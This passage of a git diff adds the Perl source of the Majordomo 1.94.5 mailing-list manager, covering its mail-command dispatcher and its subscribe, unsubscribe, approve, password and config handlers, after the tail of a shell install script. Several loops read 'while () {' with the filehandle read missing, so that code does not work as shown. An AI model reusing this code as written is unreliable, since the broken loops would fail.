"${OWNER}" "${DEST}" || exit 1 + fi + if ${CHGROUPIT} ; then + ${CHGRP} "${GROUP}" "${DEST}" || exit 1 + fi + if ${CHMODIT} ; then + umask 0 + ${CHMOD} "${MODE}" "${DEST}" || exit 1 + fi + exit 0 +fi + +## Get the destination and a temp file in the destination diretory. +if [ -d "$2" ] ; then + DEST="$2/$1" + TEMP="$2/$$.tmp" +else + DEST="$2" + TEMP="`expr "$2" : '\(.*\)/.*'`/$$.tmp" +fi + +## If not given the same name, we must try to copy. +if [ X"$1" != X"$2" -o $SAVESRC ] ; then + if cmp -s "$1" "${DEST}" ; then + ## Files are same; touch or not. + ${TOUCHIT} && touch "${DEST}" + else + ## If destination exists and we wish to backup, link to backup. + if [ -f "${DEST}" ] ; then + if ${BACKIT} ; then + ${RM} -f "${DEST}${BACKUP}" + ${LN} "${DEST}" "${DEST}${BACKUP}" + fi + fi + ## Copy source to the right dir, then move to right spot. + ## Done in two parts so we can hope for atomicity. + ${RM} -f "${TEMP}" || exit 1 + ${CP} "$1" "${TEMP}" || exit 1 + ${MV} -f "${TEMP}" "${DEST}" || exit 1 + fi +fi + +## Strip and set the modes. +if ${STRIPIT} ; then + ${STRIP} "${DEST}" || exit 1 +fi +if ${CHOWNIT} ; then + ${CHOWN} "${OWNER}" "${DEST}" || exit 1 +fi +if ${CHGROUPIT} ; then + ${CHGRP} "${GROUP}" "${DEST}" || exit 1 +fi +if ${CHMODIT} ; then + umask 0 + ${CHMOD} "${MODE}" "${DEST}" || exit 1 +fi +exit 0 diff --git a/update/scripts/packages/majordomo-1.94.5/majordomo b/update/scripts/packages/majordomo-1.94.5/majordomo new file mode 100644 index 0000000..acbdcb5 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/majordomo @@ -0,0 +1,1951 @@ +#!/bin/perl +# $Modified: Thu Jan 13 18:29:15 2000 by cwilson $ + +# majordomo: a person who speaks, makes arrangements, or takes charge +# for another. +# +# Copyright 1992, D. Brent Chapman. See the Majordomo license agreement for +# usage rights. +# +# $Source: /sources/cvsrepos/majordomo/majordomo,v $ +# $Revision: 1.95 $ +# $Date: 2000/01/13 17:29:31 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +# until we run suid... +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +# Before doing anything else tell the world I am majordomo +# The mj_ prefix is reserved for tools that are part of majordomo proper. +$main'program_name = 'mj_majordomo';#'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; + +while ($ARGV[0]) { # parse for config file or default list + if ($ARGV[0] =~ /^-C$/i) { # sendmail v8 clobbers case + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } elsif ($ARGV[0] eq "-l") { + $deflist = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); + } else { + die "Unknown argument $ARGV[0]\n"; + } +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} + +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir") || die "chdir to $homedir failed, $!\n"; + +# If standard error is not attached to a terminal, redirect it to a file. +if (! -t STDERR) { + close STDERR; + open (STDERR, ">>$TMPDIR/majordomo.debug"); +} + +print STDERR "$0: starting\n" if $DEBUG; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +use POSIX qw(ctime); # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking +require "config_parse.pl"; # functions to parse the config files + +print STDERR "$0: requires succeeded. Setting defaults.\n" if $DEBUG; + +# Here's where the fun begins... +# check to see if the cf file is valid +die("\$listdir not defined. Is majordomo.cf being included correctly?") + if !defined($listdir); + +# Define all of the mailer properties: +# It is possible that one or both of $sendmail_command and $bounce_mailer +# are not defined, so we provide reasonable defaults. +$sendmail_command = "/usr/lib/sendmail" + unless defined $sendmail_command; +$bounce_mailer = "$sendmail_command -f\$sender -t" + unless defined $bounce_mailer; + + +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); + +$majordomo_dont_reply = $majordomo_dont_reply + || '(mailer-daemon|uucp|listserv|majordomo)\@'; + +# where do we look for files, by default? +if (!defined($filedir)) { + $filedir = $listdir; +} +if (!defined($filedir_suffix)) { + $filedir_suffix = ".archive"; +} + +# what command do we use to generate an index, by default? +if (!defined($index_command)) { + $index_command = "/bin/ls -lRL"; +} + +# where are we for FTP, by default? (note: only set this if $ftpmail is set) +if (defined($ftpmail_address)) { + if (!defined($ftpmail_location)) { + $ftpmail_location = $whereami; + } +} + +print STDERR "$0: done with defaults, parsing mail header.\n" if $DEBUG; + +# Parse the mail header of the message, so we can figure out who to reply to +&ParseMailHeader(STDIN, *hdrs); + +# Now we try to figure out who to send the replies to. +# $reply_to also becomes the default target for subscribe/unsubscribe +$reply_to = &RetMailAddr(*hdrs); + +print STDERR "$0: setting log file.\n" if $DEBUG; + +# Set up the log file +&set_log($log, $whereami, "majordomo", $reply_to); + +# if somebody has set $reply_to to be our own input address, there's a problem. +if (&addr_match($reply_to, $whoami)) { + &abort( "$whoami punting to avoid mail loop.\n"); + exit 0; +} + +if (! &valid_addr($reply_to)) { + &abort( "$whoami: $reply_to is not a valid return address.\n"); + exit 2; +} + +# robots should not reply to other robots... +if ($reply_to =~ m/$majordomo_dont_reply/i) { + &abort( "$whoami: not replying to $1 to avoid mail loop.\n"); + exit 0; +} + +if ($return_subject && defined $hdrs{'subject'}) { + $sub_addin = ": " . substr($hdrs{'subject'}, 0, 40); + } else { + $sub_addin = ''; + } + +print STDERR "$0: some quick sanity checks on permissions.\n" if $DEBUG; + +# do some sanity checking on permissions +# This bails out via abort if needed. +# +&check_permissions; + +print STDERR "$0: opening sendmail process.\n" if $DEBUG; + +# Open the sendmail process to send the results back to the requestor +&sendmail(REPLY, $reply_to, "Majordomo results$sub_addin"); + +select((select(REPLY), $| = 1)[0]); + +print STDERR "$0: processing commands in message body.\n" if $DEBUG; + +# Process the rest of the message as commands +while (<>) { + $approved = 0; # all requests start as un-approved + $quietnonmember = 0; # show non-member on unsubscribe + while ( /\\\s*$/ ) { # if the last non-whitespace + &chop_nl($_); # character is '\', chop the nl + s/\\\s*$/ /; # replace \ with space char + $_ .= scalar(<>); # append the next line + } + print REPLY ">>>> $_"; # echo the line we are processing + $_ = &chop_nl($_); # strip any trailing newline + s/^\s*#.*//; # strip comments + s/^\s+//; # strip leading whitespace + s/\s+$//; # strip trailing whitespace + s/\\ /\001/g; # protected escaped whitepace + if (/^begin\s+\d+\s+\S+$/) { # bail on MSMail uuencode attachments + print REPLY "ATTACHMENT DETECTED; COMMAND PROCESSING TERMINATED.\n"; + last; + } + + @parts = split(" "); # split into component parts + grep(s/\001/ /, @parts); # replace protected whitespace with + # whitespace + $cmd = shift(@parts); # isolate the command + $cmd =~ tr/A-Z/a-z/; # downcase the command + if ($cmd eq "") { next; } # skip blank lines + # figure out what to do and do it + # the "do_*" routines implement specific Majordomo commands. + # they are all passed the same arguments: @parts. + $count++; # assume it's a valid command, so count it. + if ($cmd eq "end") { print REPLY "END OF COMMANDS\n"; last; } + elsif ($cmd =~ /^-/ && + (!defined($hdrs{'content-type'}) || + $hdrs{'content-type'} !~ /multipart/i)) + { + # treat lines beginning with "-" as END only if this is NOT a MIME + # multipart msg. MIME messages should have "Content-Type:" + # headers, and multipart messages should have the string + # "multipart" somewhere in that header. If we just look for + # Content-Type: we trap messages with Content-Type: text/plain, + # which is pretty common these days. + print REPLY "END OF COMMANDS\n"; + last; + } + elsif ($cmd eq "subscribe") { &do_subscribe(@parts); } + elsif ($cmd eq "unsubscribe") { &do_unsubscribe(@parts); } + elsif ($cmd eq "signoff") { &do_unsubscribe(@parts); } + elsif ($cmd eq "cancel") { &do_unsubscribe(@parts); } + elsif ($cmd eq "approve") { &do_approve(@parts); } + elsif ($cmd eq "passwd") { &do_passwd(@parts); } + elsif ($cmd eq "which") { &do_which(@parts); } + elsif ($cmd eq "who") { &do_who(@parts); } + elsif ($cmd eq "info") { &do_info(@parts); } + elsif ($cmd eq "newinfo") { &do_newinfo(@parts); } + elsif ($cmd eq "intro") { &do_intro(@parts); } + elsif ($cmd eq "newintro") { &do_newintro(@parts); } + elsif ($cmd eq "config") { &do_config(@parts); } + elsif ($cmd eq "newconfig") { &do_newconfig(@parts); } + elsif ($cmd eq "writeconfig") { &do_writeconfig(@parts); } + elsif ($cmd eq "mkdigest") { &do_mkdigest(@parts); } + elsif ($cmd eq "lists") { &do_lists(@parts); } + elsif ($cmd eq "help") { &do_help(@parts); } + elsif ($cmd eq "get") { &do_get(@parts); } + elsif ($cmd eq "index") { &do_index(@parts); } + elsif ($cmd eq "auth") { &do_auth(@parts); } + else { + &squawk("Command '$cmd' not recognized."); + $count--; # if we get to here, it wasn't really a command + } +} + +# we've processed all the commands; let's clean up and go home +&done(); + +# Everything from here on down is subroutine definitions + +sub do_subscribe { + # figure out what list we are trying to subscribe to + # and check to see if the list is valid + local($sm) = "subscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to subscribe, and check that it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber, $clean_list)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + local($FLAGIT); + if ($clean_list ne "") { + # The list is valid + # parse its config file if needed + + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($sub_policy) = $config_opts{$clean_list,"subscribe_policy"}; + + # check to see if this is a list with a 'confirm' subscribe policy, + # and check the cookie if so. + # + if (! $approved + && (($sub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("subscribe", $clean_list, $subscriber); + return 0; + } + + + # Check to see if this request is approved, or if the list is an + # auto-approve list, or if the list is an open list and the + # subscriber is the person making the request + if ($approved + || ($sub_policy =~ /auto/i && + # I don't think this check is doing the right thing. Chan 95/10/19 + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + || (($sub_policy !~ /closed/ ) + && &addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) + ) { + # Either the request is approved, or the list is open and the + # subscriber is the requester, so check to see if they're + # already on the list, and if not, add them to the list. + # Lock and open the list first, even though &is_list_member() + # will reopen it read-only, to prevent a race condition + &lopen(LIST, ">>", "$listdir/$clean_list") + || &abort("Can't append to $listdir/$clean_list: $!"); + if (&is_list_member($subscriber, $listdir, $clean_list)) { + print REPLY "**** Address already subscribed to $clean_list\n"; + &log("DUPLICATE subscribe $clean_list $subscriber"); + } else { + if ( &cf_ck_bool($clean_list,"strip") ) { + print LIST &valid_addr($subscriber), "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } else { + print LIST $subscriber, "\n" || + &abort("Error writing $listdir/$clean_list: $!"); + } + if (defined $deflist) { + print REPLY "Succeeded (to list $deflist).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("subscribe $clean_list $subscriber"); + # Send the new subscriber a welcoming message, and + # a notice of the new subscriber to the list owner + if ( &cf_ck_bool($clean_list,"strip") ) { + local($clean_sub) = &valid_addr($subscriber); + &welcome($clean_list, $clean_sub); + } else { + &welcome($clean_list, $subscriber); + } + } + &lclose(LIST) || &abort("Error closing $listdir/$clean_list: $!"); + } else { + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_unsubscribe_all { + local(@parts) = @_; + local($list); + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = grep(!/[^-\w]/, readdir(RD_DIR)); # skip non-list files (*.info, etc.) + closedir(RD_DIR); + + $quietnonmember=1; + + foreach $list (sort @lists) { + print REPLY "Doing 'unsubscribe $list ", join(' ', @parts), "'.\n" + if $DEBUG; + &do_unsubscribe($list, @parts); + } +} + +sub do_unsubscribe { + if ($_[0] =~ /^\*$/) { + shift; + &do_unsubscribe_all(@_); + return 0; + } + local($match_count) = 0; + local($match_length); + # figure out what list we are trying to unsubscribe from + # and check to see if the list is valid + local($sm) = "unsubscribe"; + local($list, $clean_list, @args) = &get_listname($sm, 1, @_); + + # figure out who's trying to unsubscribe, and check it's a valid address + local($subscriber) = join(" ", @args); + if ($subscriber eq "") { + $subscriber = $reply_to; + } + if (! &valid_addr($subscriber)) { + &squawk("$sm: invalid address '$subscriber'"); + return 0; + } + + print STDERR "do_unsubscribe: $subscriber from $clean_list\n" if $DEBUG; + + + if ($clean_list ne "") { + # The list is valid. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($unsub_policy) = $config_opts{$clean_list,"unsubscribe_policy"}; + + # Check to see if the subscriber really is subscribed to the list. + if (! &is_list_member($subscriber, $listdir, $clean_list)) { + unless ($quietnonmember) { + print REPLY <<"EOM"; +**** unsubscribe: '$subscriber' is not a member of list '$list'. +**** contact "$list-approval\@$whereami" if you need help. +EOM + } + return 0; + } + + print STDERR "do_unsubscribe: valid list, valid subscriber.\n" + if $DEBUG; + + # check to see if this is a list with a 'confirm' unsubscribe policy, + # and check the cookie if so and the subscriber is not the person + # making the request. + # + if (! $approved + && ! ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") + ? 2 : undef)))) + && (($unsub_policy =~ /confirm/) + && (&gen_cookie($sm, $clean_list, $subscriber) ne $auth_info))) + { + # We want to send the stripped address in the confirmation + # message if strip = yes. + if (&cf_ck_bool($clean_list,"strip")) { + $subscriber = (&ParseAddrs($subscriber))[0]; + } + &send_confirm("unsubscribe", $clean_list, $subscriber); + return 0; + } + + # Check to see if this request is approved, if the unsub policy is + # auto, or if the subscriber is the person making the request (even + # on a closed list, folks can unsubscribe themselves without the + # owner's approval). + if ($approved + || ($unsub_policy =~ /auto/i && + &check_and_request($sm, $clean_list, $subscriber, "check_only")) + + || ((&addr_match($reply_to, $subscriber, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))))) { + + # Either the request is approved, or the subscriber is the + # requester, so drop them from the list + &lopen(LIST, "", "$listdir/$clean_list") || + &abort("Can't open $listdir/$clean_list: $!"); + (local($mode, $uid, $gid) = (stat(LIST))[2,4,5]) || + &abort("Can't stat listdir/$clean_list: $!"); + open(NEW, ">$listdir/$clean_list.new") || + &abort("Can't open $listdir/$clean_list.new: $!"); + chmod($mode, "$listdir/$clean_list.new") || + &abort("chmod($mode, \"$listdir/$clean_list.new\"): $!"); + chown($uid, $gid, "$listdir/$clean_list.new") || + &abort("chown($uid, $gid, \"$listdir/$clean_list.new\"): $!"); + while () { + if (! &addr_match($subscriber, $_, + (&cf_ck_bool($clean_list,"mungedomain") ? 2 : undef))) { + print NEW $_ || + &abort("Error writing $listdir/$clean_list.new: $!"); + } else { + $match_count++; + $match_length = length; + if ($match_count != 1) { + &squawk("$sm: '$subscriber' matches multiple list members."); + last; + } + } + } + close(NEW) || &abort("Error closing $listdir/$clean_list.new: $!"); + if ($match_count == 1) { + if ((-s "$listdir/$clean_list.new") + $match_length != + (-s "$listdir/$clean_list")) { + &abort("Unsubscribe failed: $listdir/$clean_list.new is wrong length!"); + } + # we deleted exactly 1 name, so now we shuffle the files + link("$listdir/$clean_list", "$listdir/$clean_list.old") || + &abort("link(\"$listdir/$clean_list\", \"$listdir/$clean_list.old\"): $!"); + rename("$listdir/$clean_list.new", "$listdir/$clean_list") || + &abort("rename(\"$listdir/$clean_list.new\", \"$listdir/$clean_list\"): $!"); + unlink("$listdir/$clean_list.old"); + if (defined $deflist) { + print REPLY "Succeeded (from list $deflist).\n"; + } + elsif ($quietnonmember) { + print REPLY "Succeeded (from list $clean_list).\n"; + } + else { + print REPLY "Succeeded.\n"; + } + &log("unsubscribe $clean_list $subscriber"); + if ( &cf_ck_bool($list,"announcements")) { + &sendmail(BYE, "$clean_list-approval\@$whereami", + "UNSUBSCRIBE $clean_list $subscriber"); + print BYE "$subscriber has unsubscribed from $clean_list.\n"; + print BYE "No action is required on your part.\n"; + close(BYE); + } + } + elsif ($match_count == 0) { + print REPLY "**** No matches found for '$subscriber'\n"; + } + else { + print REPLY "**** FAILED.\n"; + } + unlink("$listdir/$clean_list.new"); + &lclose(LIST); + } else { + print STDERR "do_unsubscribe: authorization failed, calling check_and_request.\n" if $DEBUG; + &check_and_request($sm, $clean_list, $subscriber); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_auth { + # Check to see we've got all the arguments; the address is allowed to + # contain spaces, so since our argument list was split on spaces we + # have to join them back together. + local($auth_info, $cmd, $list, @sub) = @_; + if ( !length($auth_info) + || ($cmd ne 'subscribe' + && $cmd ne 'unsubscribe') # can only authorize [un]subscribes at the moment + ) { + &squawk("auth: needs key"); + return 0; + } + $sub = join(' ',@sub); + if ( $cmd eq "subscribe" ) { + &do_subscribe($list, $sub); + } + elsif ( $cmd eq "unsubscribe" ) { + &do_unsubscribe($list, $sub); + } + + +} + +sub do_approve { + # Check to see we've got all the arguments + local($sm) = "approve"; + local($passwd, $cmd); + ($passwd = shift) || &squawk("$sm: needs passwd"); + ($cmd = shift) || &squawk("$sm: which command?"); + $cmd =~ tr/A-Z/a-z/; # downcase the command + # Check to see if the list is valid or use default list. + # and check to see if we've got a valid list + local($list, $clean_list, @args) = &get_listname($sm, -1, @_); + + if ($clean_list ne "") { + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + # The list is valid; now check to see if the password is + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so set "approved" and do the request + $approved = 1; + if ($cmd eq "subscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD subscribe $clean_list $subscriber"); + &do_subscribe($clean_list, $subscriber); + } elsif ($cmd eq "unsubscribe") { + local($subscriber); + ($subscriber = join(" ",@args)) || &squawk("$sm: who?"); + &log("approve PASSWORD unsubscribe $clean_list $subscriber"); + &do_unsubscribe($clean_list, $subscriber); + } elsif ($cmd eq "get" + || $cmd eq "index" + || $cmd eq "info" + || $cmd eq "intro" + || $cmd eq "who" + || $cmd eq "which") { + &log("approve PASSWORD $cmd $clean_list " . join(" ", @args)); + $sub = "do_$cmd"; + &$sub($clean_list, @args); + } else { + # you can only approve the above + &squawk("$sm: invalid command '$cmd'"); + } + } else { + &squawk("$sm: invalid list or password."); + } + } else { + &squawk("$sm: unknown list '$list'."); + } +} + +sub do_passwd { + # check to see that we've got all the arguments + # and check to see if we've got a valid list + local($sm) = "passwd"; + local($list, $clean_list, $passwd, $new_passwd) = &get_listname($sm, 2, @_); + &squawk("$sm: need old password") unless $passwd; + &squawk("$sm: need new password") unless $new_passwd; + + if ($clean_list eq "") { + &squawk("$sm: invalid list '$list'"); + return; + } + # We've got a valid list; now see if the old password is valid + # get the config info for the command + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The old password is correct, so make sure the new one isn't null + if ($new_passwd eq "") { + &squawk("$sm: null 'new_passwd'."); + return; + } + # The new password is valid, too, so write it. + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.passwd"))[2,4,5]; + $mode = (0660) if !$mode; + if (&lopen(PASSWD, ">", "$listdir/$clean_list.passwd")) { + print PASSWD $new_passwd, "\n"; + &lclose(PASSWD); + # set the file mode appropriately + chmod($mode, "$listdir/$clean_list.passwd"); + chown($uid, $gid, "$listdir/$clean_list.passwd") if defined($uid); + print REPLY "Password changed.\n"; + } else { + &abort("Can't open $listdir/$clean_list.passwd: $!"); + } + &log("passwd $clean_list OLD NEW"); + } else { + print REPLY "**** Sorry; old password incorrect.\n"; + &log("FAILED passwd $clean_list OLD NEW"); + } +} + +sub do_which { + local($subscriber) = join(" ", @_) || &valid_addr($reply_to); + local($count, $per_list_hits) = 0; + # Tell the requestor which lists they are on by reading through all + # the lists, comparing their address to each address from each list + print REPLY "The string '$subscriber' appears in the following\n"; + print REPLY "entries in lists served by $whoami:\n\n"; + + opendir(RD_DIR, $listdir) || &abort("opendir failed $!"); + @lists = readdir(RD_DIR); + closedir(RD_DIR); + + foreach (sort @lists) { + /[^-_0-9a-zA-Z]/ && next; # skip non-list files (*.info, etc.) + $list = $_; + + # get configuration info + &get_config($listdir, $_) if !&cf_ck_bool($_, '', 1); + + # access check + # + next if ! &access_check("which", $reply_to, $listdir, $list); + + open(LIST, "$listdir/$list") || + &abort("Can't open list $listdir/$list"); + while () { + + if (! $approved + && $max_which_hits + && $max_which_hits < $per_list_hits) { + print REPLY "Maximum number of hits ($max_which_hits) exceeded\n"; + last; + } + + $_ = &chop_nl($_); + if (&addr_match($_, $subscriber, 1)) { + if ($count == 0) { + printf REPLY "%-23s %s\n", "List", "Address"; + printf REPLY "%-23s %s\n", "====", "======="; + } + printf REPLY "%-23s %s\n", $list, $_; + $count++; + $per_list_hits++; + } + } + close(LIST); + } + if ($count == 0) { + print REPLY "**** No matches found\n"; + } + print REPLY "\n"; + &log("which $subscriber"); + return 1; +} + +sub do_who { + # Make sure we've got the right arguments + # and check to see if we've got a valid list + local($sm) = "who"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + local($counter) = 0; + + # Check to see that the list is valid + if ($clean_list ne "") { + # The list is valid, so now check make sure that it's not a private + # list, or if it is, that the requester is on the list. + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + if ( !$approved + && $config_opts{$clean_list, 'who_access'} =~ /closed/ ) { + print REPLY "**** Command disabled.\n"; + return 0; + } + + if ( !$approved + && ! &access_check("who", $reply_to, $listdir, $clean_list)) { + print REPLY "**** List '$clean_list' is a private list.\n"; + print REPLY "**** Only members of the list can do a 'who'.\n"; + print REPLY "**** You [ $reply_to ] aren't a member of list '$clean_list'.\n"; + return 0; + } + #open it up and tell who's on it + print REPLY "Members of list '$clean_list':\n\n"; + if (&lopen(LIST, "", "$listdir/$clean_list")) { + while () { + print REPLY $_; + $counter++; + } + &lclose(LIST); + printf REPLY "\n%s subscriber%s\n\n", ($counter ? $counter : "No"), + ($counter == 1 ? "" : "s"); + &log("who $clean_list"); + } else { + &abort("Can't open $listdir/$clean_list: $!"); + } + } else { + print REPLY "**** who: no such list '$list'\n"; + } +} + +sub do_info { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "info"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the info, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + + local($allow); + + # check access + $allow = &access_check("info", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.info")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_info"); + &lclose(INFO); + } else { + print REPLY "#### No info available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("info $clean_list"); +} + +sub do_newinfo { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newinfo"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new info + local($mode, $uid, $gid) = + (stat("$listdir/$clean_list.info"))[2,4,5]; + $mode = (0664) if !$mode; + if (&lopen(INFO, ">", "$listdir/$clean_list.info")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_info"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.info" > 0) { + chmod($mode, "$listdir/$clean_list.info"); + chown($uid, $gid, "$listdir/$clean_list.info") + if defined($uid); + } + else { + unlink("$listdir/$clean_list.info"); + } + + print REPLY "New info for list $clean_list accepted.\n"; + &log("newinfo $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.info: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newinfo $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} + +sub do_intro { + # Make sure we've got the arguments we need + # and Check that the list is OK + local($sm) = "intro"; + local($list, $clean_list) = &get_listname($sm, 0, @_); + + if ($clean_list ne "") { + # The list is OK, so give the intro, or a message that none is available + # get configuration info + &get_config($listdir, $clean_list) + if !&cf_ck_bool($clean_list, '', 1); + local($allow) = 0; + + # check access + $allow = &access_check("intro", $reply_to, $listdir, $clean_list); + + if ((local($passwd) = shift) && + &valid_passwd($listdir, $clean_list, $passwd)) { + $allow = 1; # The password is valid, so show info + } + if ($allow && + &lopen(INFO, "", "$listdir/$clean_list.intro")) { + while () { + print REPLY $_; + } + print REPLY "\n[Last updated ", &chop_nl(&ctime((stat(INFO))[9])), + "]\n" if !&cf_ck_bool($clean_list,"date_intro"); + &lclose(INFO); + } else { + print REPLY "#### No intro available for $clean_list.\n"; + } + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("intro $clean_list"); +} +sub do_newintro { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newintro"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + &get_config($listdir, $clean_list) if !&cf_ck_bool($clean_list, '', 1); + # The list is valid, so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new intro + if (&lopen(INFO, ">", "$listdir/$clean_list.intro")) { + print INFO "[Last updated on: ", &chop_nl(&ctime(time())), + "]\n" if &cf_ck_bool($clean_list,"date_intro"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print INFO $_, "\n"; + } + &lclose(INFO); + if (-s "$listdir/$clean_list.intro" > 0) { + chmod(0664, "$listdir/$clean_list.intro"); + } + else { + unlink("$listdir/$clean_list.intro"); + } + print REPLY "New intro for list $clean_list accepted.\n"; + &log("newintro $clean_list PASSWORD"); + } else { + &abort("Can't write $listdir/$clean_list.intro: $!"); + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED newintro $clean_list PASSWORD"); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } + } else { + &squawk("$sm: unknown list '$list'."); + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + } + } +} +sub do_config { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "config"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + #so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so send the new config if it exists + + if (open(LCONFIG, "$listdir/$clean_list.config")) { + while () { + print REPLY $_; + } + print REPLY "\n#[Last updated ", + &chop_nl(&ctime((stat(LCONFIG))[9])), "]\n"; + close(LCONFIG) || + print REPLY "Error writing config for $clean_list: $!"; + + } else { + print REPLY "#### No config available for $clean_list.\n"; + } + } else { + &squawk("$sm: invalid password."); + &log("FAILED config $clean_list PASSWORD"); + } + &free_lock("$listdir/$clean_list.config.LOCK"); + } else { + &squawk("$sm: unknown list '$list'."); + } + &log("config $clean_list"); +} + +sub do_newconfig { + # Check to make sure we've got the right arguments + # and Check that the list is valid + local($sm) = "newconfig"; + local($list, $clean_list, $passwd) = &get_listname($sm, 1, @_); + &squawk("$sm: needs password") unless $passwd; + + if ($clean_list ne "") { + # The list is valid, parse the config file + &set_lock("$listdir/$clean_list.config.LOCK") || + &abort( "Can't get lock for $listdir/$clean_list.config"); + &get_config($listdir, $clean_list, "locked") + if !&cf_ck_bool($clean_list, '', 1); + + # so check the password + if (&valid_passwd($listdir, $clean_list, $passwd)) { + # The password is valid, so write the new config + # off to the side to validate it. + local($oldumask) = umask($config_umask); + if (open(NCONFIG, ">$listdir/$clean_list.new.config")) { + while (<>) { + $_ = &chop_nl($_); + if ($_ eq "EOF") { + last; + } + print NCONFIG $_, "\n"; + } + close(NCONFIG) || + &abort("Can't write $listdir/$clean_list.config: $!"); + umask($oldumask); + + if ( &get_config($listdir, "$clean_list.new", "locked")) { + unlink "$listdir/$clean_list.new.config"; + &free_lock("$listdir/$clean_list.config.LOCK"); + print REPLY "The new config file for $clean_list was NOT accepted because:\n"; + print REPLY @config'errors; + &log("FAILED (syntax) newconfig $clean_list PASSWORD"); + return (1); + } + + $rename_fail = 0; + if ( !rename("$listdir/$clean_list.config", + "$listdir/$clean_list.old.config") ) { + print REPLY 